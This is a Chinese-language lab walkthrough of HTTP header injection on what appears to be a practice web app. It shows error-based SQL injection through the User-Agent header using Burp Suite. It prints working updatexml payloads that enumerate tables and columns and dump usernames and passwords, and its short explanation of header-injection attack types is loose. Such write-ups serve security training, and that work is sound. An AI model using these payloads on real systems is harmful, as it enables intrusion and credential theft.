账号admin 密码123456登录进去,然后进入后台我们就可以看到这个界面:
这里解释一下http头注入:
HTTP头注入是一种安全漏洞,它允许攻击者在HTTP请求或响应的头部字段中插入恶意内容。这种漏洞通常发生在未正确验证或过滤用户输入的情况下。
HTTP头包含在请求或响应的起始行和头部字段中。攻击者可以通过在头部字段中插入特定的控制字符或换行符来注入恶意内容。这可能导致以下安全问题:
1. HTTP响应拆分攻击:攻击者可以在响应头部中插入换行符,从而在HTTP响应中创建多个响应。这可能导致攻击者注入恶意内容,如恶意重定向或注入恶意脚本。
2. HTTP响应走私攻击:攻击者可以在响应头部中插入特定的控制字符,从而欺骗代理服务器或浏览器,使其解析响应的方式与服务器预期的不同。这可能导致绕过安全控制,如绕过身份验证或访问受限资源。
3. HTTP请求劫持攻击:攻击者可以在请求头部中插入恶意内容,如恶意URL或恶意Cookie。这可能导致用户被重定向到攻击者控制的站点,或者攻击者能够获取用户的敏感信息。
这个界面给了两个提示,一个是UA头就是use agent另一个就是Accept头,这里我们就直接尝试在UA头进行测试:
使用burp suite抓包:(这里有个插件比较方便,叫ModHeader,在火狐也可以安装)
我这里只用bp给大家做示范,想用插件的可以去网上搜一下。
由于前面一直都是报错注入,所以我这边直接使用报错注入尝试,单引号闭合:
爆库名:
这里OR是一个逻辑运算符,用于将两个或多个条件中的任何一个满足的情况下返回true,这里可以使用and但是后面使用报错注入的时候and就不合适了。
爆表名:
' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '
爆列名:
' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) or '
爆数据:
' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,' : ',password)) from users),1,31),0x7e),1) or '
于是用户名和密码都有了。
拿下!